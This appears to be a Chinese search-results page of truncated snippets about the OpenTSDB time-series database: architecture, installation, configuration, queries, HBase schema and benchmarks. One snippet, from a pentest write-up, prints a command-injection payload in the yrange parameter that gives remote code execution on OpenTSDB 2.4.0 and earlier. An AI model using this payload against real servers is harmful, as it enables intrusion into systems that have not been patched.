OpenTSDB(Open time series data base)，开发时间序列数据库。...其实OpenTSDB不是一个通用的数据存储服务，看名字就知道，它主要针对于时序数据。...在OpenTSDB里tag是个k-v，比如 ip=192.168.0.1 就可以做为一个tag。注意OpenTSDB最多只能打8个tag。 value: 我们要存的时序数据的值。 ...OpenTSDB在从底层hbase拿到数据后数据处理流程如下。...OpenTSDB其他特性 Metadata OpenTSDB主要用来存储时序数据，且可以很方便地对数据做各种操作，但它也可以告诉我们里面存了一些什么样的数据，给我们提供一些数据的上下文。
编辑conf文件，这是我安装的地址 vi /opt/opentsdb-2.3.1/build/opentsdb.conf 找到tsd.core.auto_create_metrics设置为true 查看进程杀掉...tsdb进程 ps -ef|grep opentsdb 在本目录重启，重启命令 nohup sh tsdb tsd & 再次测试写入，success成功 查看页面输入标识 自动检索出来
例如，假设温度传感器每秒钟都向OpenTSDB系统发送数据。如果用户在一小时内查询数据，他们将获得3,600个数据点，这些数据点可以相当容易地绘制出来。...此时，OpenTSDB总是在降采样执行后再执行分组聚合。 注意： 对于早期版本的OpenTSDB，新数据点的实际时间戳将是时间间隔范围中每个数据点的时间戳的平均值。...日历边界 从OpenTSDB 2.3开始，用户可以指定基于日历的降采样而不是快速取模的方法。这对于报告目的更为有用，例如查看与人类可读时间相关的值，例如数月，数周或数天。...由于OpenTSDB不会对时间对齐或值存在时施加约束，因此必须在查询时指定这些约束。使用降采样执行分组聚合时，如果所有序列都缺少预期间隔的值，则不会发出任何数据。
3、OpenTSDB 毫无遗漏的接收并存储大量的时间序列数据。...二、OpenTSDB的部署架构 1、架构图 2、说明 OpenTSDB底层是使用HBase来存储数据的，也就是说搭建OpenTSDB之前，必须先搭建好HBase环境。...OpenTSDB是由一系列的TSD和实用的命令行工具组成。 应用通过运行一个或多个tsd(Time Series Daemon， OpenTSDB的节点)来与OpenTSDB的交互。...三、HBase简介 从OpenTSDB的部署架构中我们看到OpenTSDB是建立在HBase之上的，那么HBase又是啥呢？为了更好的剖析OpenTSDB，这里我们简要介绍一下HBase。...OpenTSDB 只有4 张HBase 表，所有的数据都存放在一张表，这就意味在OpenTSDB 这个层级上是无法更小的粒度来区别对待不同业务，比如不同的业务建不同的表存储数据。
在Pentest期间，我们在yrange参数中使用命令注入在OpenTSDB 2.4.0及更低版本中发现了一个远程执行代码漏洞（其他参数可能也容易受到攻击） 当通过它被写入到其中的一个参数传递有效载荷的...gnuplot在文件/ TMP目录和gnuplot的文件由执行OpenTSDB经由/src/mygnuplot.sh壳脚本。...xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json OpenTSDB...touch /tmp/poc.txt')]*plot "/tmp/d705ba5b_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}" 当OpenTSDB
OpenTSDB介绍 opentsdb是基于Hbase的时序数据库[时间序列数据库]。...OpenTSDB安装 OpenTSDB是依赖于HBase进行数据存储的，所以在安装OpenTSDB组件之前，需要已经部署了HBase组件，在这里我是直接在大数据集群进行安装的，已经部署了HBase。...OpenTSDB下载： https://github.com/OpenTSDB/opentsdb/releases 可以选择： https://github.com/OpenTSDB/opentsdb/...opentsdb —— 日志存放目录 安装包安装后OpenTSDB自动将启动/停止脚本加入了系统service中，可以直接通过service opentsdb...具体的脚本存放位置：/etc/init.d/opentsdb OpenTSDB配置 打开 /etc/opentsdb/opentsdb.conf 文件，配置HBase的地址和ZK地址 tsd.storage.hbase.zk_basedir
Opentsdb简介 opentsdb是基于Hbase的时序数据库[时间序列数据库]。不具备通用性，主要针对具有时间特性和需求的数据，如监控数据、温度变化数据等。.../hbase shell 四、Opentsdb部署 1、安装包准备 版本：2.4.0 下载地址： https://mirrors.yangxingzhen.com/opentsdb/opentsdb...@nginx opentsdb-2.4.0]# ....配置 [root@nginx opentsdb-2.4.0]# cp src/opentsdb.conf build [root@nginx opentsdb-2.4.0]# vim build/opentsdb.conf.../tsdb tsd & 访问Opentsdb
官方地址： http://opentsdb.net/docs/build/html/user_guide/query/index.html OpenTSDB提供了很多的操作、查询、分析数据的方法，可以通过使用...OpenTSDB的原始语法允许简单的过滤，聚合和降采样。更高版本添加了对函数和表达式的支持。...虽然OpenTSDB可以以毫秒分辨率（精度）存储数据，但大多数查询将以秒级分辨率返回数据，以提供对现有工具的向后兼容性。...注意： OpenTSDB默认会聚合数据，并且需要每个查询都有一个聚合运算符。每个聚合器必须处理多个序列的缺失或不同时间戳中的数据点。...OpenTSDB 2.0支持特殊的单调递增计数器数据处理，包括设置“翻转”（越界）值和抑制异常波动的能力。
OpenTSDB 是一种基于 HBase 编写的分布式、可扩展的时间序列数据库。...官方文档这样描述：OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase； 翻译过来就是...存储到OpenTSDB的数据，是以metric为单位的，metric就是1个监控项，譬如服务器的话，会有CPU使用率、内存使用率这些metric； OpenTSDB使用HBase作为存储，由于有良好的设计...，因此对metric的数据存储支持到秒级别； OpenTSDB支持数据永久存储，即保存的数据不会主动删除；并且原始数据会一直保存（有些监控系统会将较久之前的数据聚合之后保存） OpenTSDB存储相关的概念...譬如上面的CPU使用率 2）Tags：就是一些标签，在OpenTSDB里面，Tags由tagk和tagv组成，即tagk=takv。
安装opentsdb 官方网站：http://opentsdb.net/docs/build/html/installation.html#id1 rpm –ivh opentsdb-2.3.0.rpm...= 8 tsd.http.staticroot = /usr/share/opentsdb/static/ tsd.http.cachedir = /tmp/opentsdb tsd.core.auto_create_metrics.../create_table.sh 启动及验证: /etc/init.d/opentsdb start ss -lnt | grep 4242 ps aux|grep opentsdb 访问浏览器的...数据到opentsdb。...也可以使用tcollector来采集系统数据，并写入到opentsdb，方法如下： git clone https://github.com/OpenTSDB/tcollector.git cd tcollector
最近公司大数据集群统一升级了 kerberos，那原先 的opentsdb就不能使用了，需要使用keytab方式登陆验证。...在百度找了好久没找到解决方案，还是组里勇哥看opentsdb源码才发现opentsdb怎么验证keytab....KerberosClientAuthProvider authProvider = new KerberosClientAuthProvider(hbaseClient); 需要注意的是maven jar包，低版本的opentsdb...的确不支持kerberos net.opentsdb opentsdb
目前，阿里云 HBase 产品是直接支持 OpenTSDB 组件的。...OpenTSDB 拥有如此的强大的读写和近乎无限的存储能力源自于基于 HBase 的架构设计，我们甚至可以说 OpenTSDB 就是 HBase 的一个应用。...OpenTSDB 基本概念 在介绍 OpenTSDB 系统如何设计 Rowkey 之前，我们先来了解 OpenTSDB 的一些基本概念。...目前 OpenTSDB 最多支持8组标签。...OpenTSDB 的 Rowkey 设计 上面我们已经简单了解了 OpenTSDB 每条时序数据所包含的要素。
本文将详细介绍TSDB中的OpenTSDB。...安装 OpenTSDB 为了安装 OpenTSDB ，都需要以下条件和软件： Linux操作系统 JRE 1.6 or later HBase 0.92 or later 安装GnuPlot 如果你还想使用自带的界面...$ git clone git://github.com/OpenTSDB/opentsdb.git $ cd opentsdb $ ....由于sys.cpu.sys的数据只有一条，所以 OpenTSDB 只能看到一个点。 下图为 OpenTSDB 自带的查询界面，访问http://localhost:4242即可。 ?...OpenTSDB中的数据存储结构 我们来看看 OpenTSDB 的重要概念uid，先从HBase中存储的数据开始吧，我们来看一下它都有哪些表，以及这些表都是干什么的。
拉代码 首先fork一下opentsdb的源码库 拉取opentsdb git clone https://github.com/whua3/opentsdb.git 切换分支 git checkout...本地IDE运行Opentsdb 然后是把opentsdb源码，在本地IDE中运行起来，这个比较麻烦。.../opentsdb/tools/BuildData.java 复制到src-main/net/opentsdb/tools 目录下。.../Documents/projects/IdeaProjects/opentsdb/src/opentsdb.conf [8yiwlcrxmg.png] 其中配置文件需要改3处 tsd.network.port...[i5qmut62t9.png] 然后我们再次运行opentsdb，这次失败是报错少了tsdb表，我们还需要再HBase中把Opentsdb需要的几张表创建出来。
3► 技术方案选型 原先的各个电厂解决方案中采用开源时序数据库 OpenTSDB 作为基础数据库。但在使用过程中遇到了相关的痛点。...技术运维难度大：OpenTSDB 的技术方案较为复杂，存在适应各自场景的相关组件。在现场部署过程中，运维人员需要了解 HBase 等各类知识，来进行系统组件的安装。同时，出问题定位也较为困难。...技术运维频率高：OpenTSDB 的运维频率较高，由于运维难度大，常需要研发工程师进行现场支持。高频的技术问题的出现对于客户来说也是一个棘手问题。...我们也在业务中把 OpenTSDB 全面替换成了 Apache IoTDB，截止到2022年3月，我们共服务了大唐集团的60余家电厂。
OpenTSDB是一个分布式、可伸缩的时序数据库，支持高达每秒百万级的写入能力，支持毫秒级精度的数据存储，不需要降精度也可以永久保存数据。...OpenTSDB架构： ?...OpenTSDB实际存储数据的表为tsdb表，对于一小时内相同metrics和tags的datapoint，在tsdb表中OpenTSDB会合并成一行数据，并且更进一步，将所有列的数据会合并成一列，通过合并数据行和列减少了大量冗余...由于OpenTSDB的可视化能力较弱，并且没有报警功能，我们选择了Grafana作为监控系统的可视化和报警模块，Grafana支持多种数据源，OpenTSDB是支持的其中一个数据源，而且可视化效果非常好...展望未来，我们希望OpenTSDB在数据安全，多租户方面得到进一步的优化和完善，这样可以将OpenTSDB打造成一个统一的平台，简化现有的部署流程，用户也可以更放心和更容易接入使用。
/sqlCmd.txt OpenTSDB环境准备 OpenTSDB是基于HBase的分布式的，可扩展的时间序列数据库。.../start_hbase.sh 下载并安装OpenTSDB git clone git://github.com/OpenTSDB/opentsdb.gitcd opentsdb....启动OpenTSDB服务 sudo service opentsdb start OpenTSDB可以通过http://hostIp:4242打开交互式网页 [外链图片转存失败,源站可能有防盗链机制,...3.OpenTSDB测试程序源码 本文采用OpenTSDB的原生语言java，编写数据写入及查询程序。因为OpenTSDB并未提供官方java 接口，本次测试选择调用他们的http接口。...所以从测试结果来看，TDengine的查询吞吐量远高于OpenTSDB, 约为OpenTSDB的16倍。
支持协议种类多，除了HTTP、UDP等原生协议，还兼容CollectD、Graphite、OpenTSDB、Prometheus等组件的通讯协议。...作为一套精心设计、架构卓越的专用系统，相比OpenTSDB、MongoDB、Graphite、Cassandra等，InfluxDB的性能优势和成本优势明显。...InfluxDB的写性能是OpenTSDB的5倍，存储效率是OpenTSDB的16.5倍，查询效率是OpenTSDB的3.65倍。...opentsdb-write.png opentsdb-on-disk.png opentsdb-query.png InfluxDB的写性能是MongoDB的2.4倍，存储效率是MongoDB
二、vivo服务端监控系统架构及演进之路 在介绍vivo服务端监控系统架构之前，先带大家了解一下OpenTSDB时序数据库，在了解之前说明下为什么我们会选择OpenTSDB，原因有以下几点： 1） 监控数据采集指标在某一时间点具有唯一值...2.1 OpenTSDB简介 1）基于HBase的分布式的，可伸缩的时间序列数据库，主要用途就是做监控系统。...2）OpenTSDB使用策略说明： 不使用OpenTSDB提供的rest接口，通过client与HBase直连； 工程端禁用compact动作的Thrd线程； 间隔10秒获取Redis缓冲数据批量写入OpenTSDB...详细原理参见OpenTSDB关于interpolation的文档。...4）数据存储：存储使用HBASE集群和开源的OpenTSDB作为聚合的中介，原始数据上报之后通过OpenTSDB持久化到HBase集群，Redis作为分布式数据存储调度任务分配、告警状态等信息，后台涉及的指标和告警配置存储于
而里面相对重要的部分是OpenTSDB，这是基于HBase的计算层，能够通过OpenTSDB实现两类重要需求： 数据聚合和统计，这也是时序数据库擅长的方向 历史数据可再生提取，因为在时序中存储了大量的历史数据...，如果要提取历史范围内的数据，通过OpenTSDB是一种比较快捷的方式 在这个基础上，借助于任务调度，我们来定时触发，比如每个小时生成一个快照数据，基于这个快照数据是状态值，代表里一个时间周期内的变化情况...，数据可以通过提取持久化到MySQL 所以对于业务巡检来说，首先提取的数据是从MySQL中得到的，如果要自定义提取时间范围和维度，可以再从OpenTSDB获得渲染到可视化方案中。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
